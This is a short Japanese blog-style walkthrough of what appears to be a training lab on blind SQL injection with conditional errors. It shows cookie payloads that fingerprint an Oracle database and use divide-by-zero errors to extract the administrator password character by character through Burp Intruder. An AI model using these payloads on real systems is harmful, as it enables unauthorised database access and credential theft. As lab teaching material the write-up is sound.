Hello there, ('ω')ノ
条件付きエラーを伴うブラインドSQLインジェクションを。
このラボには、ブラインドSQLインジェクションの脆弱性があって。
トラッキングCookieを使用して、Cookieの値を含むSQLクエリを実行して。
まずは、ページにアクセスして。

リクエストをリピータへ。

下記のようにCookieの値を変更してSendすると正常なレスポンスが。
TrackingId=;

下記のようなCookieの値だとエラーが。
TrackingId=';

下記のCookieの値だとエラーが消えて。
これで、サーバがインジェクションをSQLクエリとして解釈しているとわかって。
TrackingId='';

下記のCookieの値だとこのクエリは無効のようで。
どうもデータベースタイプが原因のようで。
TrackingId='||(SELECT+'')||';

予測可能なテーブル名を指定してみると成功したので。
おそらくOracleデータベースを使用していて。
TrackingId='||(SELECT+''+FROM+dual)||';

確認のため存在しないテーブル名に変更するとエラーが。
TrackingId='||(SELECT+''+FROM+notable)||';

下記をSendすると成功するので、usersテーブルが存在するようで。
ちなみに条件文は、クエリが複数の行を返すことを防ぐために必要で。
TrackingId='||(SELECT+''+FROM+users+WHERE+ROWNUM=1)||';

次に下記の条件でテストすることに。
ゼロ除算が含まれているため、エラーが発生して。
SELECT CASE WHEN (1=1)
THEN
TO_CHAR(1/0)
ELSE
''
END FROM dual
よって、下記に変更してSendするとエラーが。
TrackingId='||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)||';

ちなみに条件を変更すると正常なレスポンスが確認できて。
TrackingId='||(SELECT+CASE+WHEN+(1=2)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)||';

下記で、条件が真だったらエラーが受信されるので。
TrackingId='||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

なので、パスワードが1を超えるなら真なのでエラーが受信されて。
TrackingId='||(SELECT+CASE+WHEN+LENGTH(password)>1+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

正常なレスポンスからパスワードは20文字だとわかって。
TrackingId='||(SELECT+CASE+WHEN+LENGTH(password)>20+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

SQL文を下記に変更してIntruderへ。
TrackingId='||(SELECT+CASE+WHEN+SUBSTR(password,1,1)='a'+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

下記のように2か所をAddして、Attack typeを変更して。

パスワードの文字の位置を1~20まで可変させて。

英字と数字をすべて検証して。

スレッドを15にしてStart attackを。

内部サーバエラーから文字列を組み立てると以下のようになって。
yhb46pibjui7dpuyblkc

ログインしてみると。

クリアできた。

Best regards, (^^ゞ